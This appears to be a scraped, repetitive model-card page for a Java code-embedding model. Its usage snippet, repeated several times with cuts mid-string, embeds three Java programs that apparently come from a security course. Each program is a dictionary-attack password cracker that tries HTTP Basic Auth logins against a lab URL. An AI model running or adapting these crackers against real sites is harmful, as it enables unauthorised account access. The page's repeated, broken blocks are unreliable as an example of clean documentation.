string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode 